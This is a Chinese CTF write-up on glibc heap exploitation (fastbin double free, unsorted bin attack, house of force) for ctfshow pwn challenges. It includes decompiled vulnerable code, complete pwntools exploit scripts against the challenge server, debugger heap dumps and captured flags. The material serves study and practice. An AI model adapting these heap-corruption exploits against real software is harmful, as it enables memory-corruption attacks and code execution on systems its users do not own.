现在空闲链表是这样的 [ 0x1b39010, 0x1b39030, 0x1b39010 ]. 如果我们 malloc 三次, 我们会得到两次 0x1b39010
第一次 malloc(8): 0x1b39010
第二次 malloc(8): 0x1b39030
第三次 malloc(8): 0x1b39010
$sh
cat flag
ctfshow{7dbdfb56-d36a-42a8-a804-0e990d4d61dc}

pwn148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_into_stack -- Double free
* *************************************
通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
通过 malloc 申请到 0x7ffe9bec2270.
先申请3 个 chunk
chunk a: 0x25dd010
chunk b: 0x25dd030
chunk c: 0x25dd050
free 掉 chunk a
如果还对 0x25dd010 进行 free, 程序会崩溃。因为 0x25dd010 现在是 fastbin 的第一个
先对 b 0x25dd030 进行 free
接下来就可以对 0x25dd010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x25dd010, 0x25dd030, 0x25dd010 ] 接下来通过修改 0x25dd010 上的内容来进行攻击.
第一次 malloc(8): 0x25dd010
第二次 malloc(8): 0x25dd030
现在 fastbin 表中只剩 [ 0x25dd010 ] 了
接下来往 0x25dd010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x25dd010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x25dd010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffe9bec2270
$sh
cat flag
ctfshow{f7fdefd4-fab4-4a29-96b0-8ccb6f648dc1}

pwn149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
linkpwn@linkpwn-VMware-Virtual-Platform:~$ nc pwn.challenge.ctf.show 28266
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_consolidate
* *************************************
申请两个 fastbin 范围内的 chunk: p1=0x197a010 p2=0x197a030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x197a050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x197a010 0x197a010
$sh
cat flag
ctfshow{2f30058c-812f-4649-9b5d-6298c5144bba}

写着写着发现一直写这个营养价值太低了,先停下把,以后发现了营养再来写。

unsorted bin attack

原理学习:

首先我们来了解一下unsorted bin的结构

unsorted bin是双链表,和fastbin不同,但是都在mian_arena里,所以unsorted bin 头节点的地址就是mian_arena+偏移。

那我们怎么利用这个进行攻击呢。攻击过程和unstore的结构如下:

1

最后一步指针为什么是这样变化的可以去看看unlink执行过程的指针变化。

从图中我们可以看出我们可以把地址改成一个值但是值是个很大的值,而且我们自己不能控制。

pwn144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 ) //修改magic大于0x1BF52即可达到后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT(); //后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。

攻击思路:

  1. 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
  2. 将chunk1的bk改成magic的地址-0x10
  3. 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。

攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
count=1
gdb_flag=0
if count==0:
r=process('./pwn')
else:
r=remote('pwn.challenge.ctf.show',28127)
if gdb_flag==1:
gdb.attach(io)
def cmd(x):
r.recvuntil(b'Your choice :')
r.sendline(str(x))
def add(size,data):
cmd(1)
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap:')
r.sendline(data)
def delete(index):
cmd(3)
r.recvuntil(b'Index :')
r.sendline(str(index))
def edit(index,size,data):
cmd(2)
r.recvuntil(b'Index :')
r.sendline(str(index))
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap : ')
r.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
r.interactive()
1
2
gdb.attach(r)
pause #可以加这个调试看看,这里就不演示了

house of force

原理:

  1. 核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
  2. 攻击原理: 利用 malloc 在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制(new_top = old_top + nb)。通过篡改 Top Chunk 的 size 字段为一个极大值(通常是 -1,即 0xFFFFFFFFFFFFFFFF),并精心构造一个超大的 nb,使得计算出的 new_top 指向攻击者期望的目标地址。
  3. 使用前提:
    1. 堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb) 中的 nb 可以非常大)。
    2. Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size 字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF)。
    3. 地址信息已知(通常需要):攻击者需要知道:
      • 当前 Top Chunk 的地址 (old_top):用于计算所需的偏移量。
      • 目标地址 (target_addr): 希望将 Top Chunk 移动到的地址。
    4. 特殊情况 - 仅需偏移量: 如果目标地址 (target_addr) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定需要知道 old_toptarget_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。

例题:

ctfshow pwn143

edit()存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}

这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

存在后门函数。

所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为

执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# 设置运行环境
context(arch='amd64', os='linux', log_level='debug')

# 三种连接方式,按需启用
p = remote('pwn.challenge.ctf.show', 28219) # 远程连接
#p = process('./pwn') # 本地运行
# p = gdb.debug('./pwn', 'b main') # GDB调试

# 加载二进制文件
elf = ELF('./pwn')
# 获取flag符号的地址(目标覆盖地址)
flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag']

def menu(index):
p.sendlineafter('Your choice:', str(index))

def add(length, content):
menu(2)
p.sendlineafter('Please enter the length:', str(length))
p.sendlineafter('Please enter the name:', content)

def edit(index, length, content):
menu(3)
p.sendlineafter('Please enter the index:', str(index))
p.sendlineafter('Please enter the length of name:', str(length))
p.sendlineafter('Please enter the new name:', content)

def delete(index):
menu(4)
p.sendlineafter('Please enter the index:', str(index))

def exit_prog():
menu(5)

# ===== 漏洞利用流程 =====

# 1. 创建初始chunk
add(0x30, 'chunk0') # 分配0x40大小的chunk(含头部)

# 2. 修改top chunk大小
# 覆盖top chunk的size字段为极大值(0xFFFFFFFFFFFFFFFF)
# 布局: [chunk0数据(0x30)] + [填充(0x8)] + [size字段(0x8)]
payload = b'A'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

# 3. 计算负偏移实现指针回退
# 偏移计算: flag_addr - (top_chunk_addr + 0x10)
# 实际计算: -(0x60 + 0x8 + 0xf) = -0x77 (需根据实际调试调整)
offset = -(0x60 + 0x8 + 0xf)
add(offset, 'trigger') # 申请负大小chunk触发整数溢出

# 4. 在目标地址分配chunk
# 此时top chunk指针已回退到flag_addr附近
# 分配0x10大小的chunk,其数据区将位于flag_addr处
add(0x10, p64(flag_addr)*2) # 用flag地址覆盖目标内存

# 5. 触发flag读取
exit_prog() # 退出程序(可能触发flag输出)

# 获取交互控制权
p.interactive()

再动调中更容易理解

add(0x30, ‘chunk0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21) //v4

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0')

Top chunk | PREV_INUSE
Addr: 0x91fd2f0
Size: 0x20d10 (with flag bits: 0x20d11)
1
2
3
4
5
pwndbg> x/30gx 0x91fd290
0x91fd290: 0x0000000000000000 0x0000000000000021
0x91fd2a0: 0x0000000000400857 0x0000000000400876
0x91fd2b0: 0x0000000000000000 0x0000000000000041
0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0400857
00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址
01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823]
03:0018│ 0x40086f (hello_message+24) ◂— pop rbp
04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp
05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al
06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp
07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x400876
00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址
01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400886 (goodbye_message+16) ◂— nop
03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d]
04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe
05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al
06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815]
07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe

edit(0, len(payload), payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x91fd2f0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了

由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通

这里我就接着解释一些数据怎么来的

1
2
3
4
0x30:这个没什么要求换成其他数据也可以
0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30
-(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关
0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以

强制对齐操作的公式是

1
nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
  • **req**:用户调用 malloc(req) 时申请的数据大小(即用户需要的内存字节数)。

  • **SIZE_SZ**:在 64 位系统中为 0x8(表示 sizeof(size_t))。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10 字节(包括 prev_sizesize 字段)。

  • **MALLOC_ALIGN_MASK**:在 64 位系统中为 0xf(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16),所以掩码为 16 - 1 = 15(即 0xf)。

  • **nb**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。

  • offset = -0x77 对应 malloc 参数为 0xffffffffffffff89

  • 对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0

  • 使top chunk回退 0x60 字节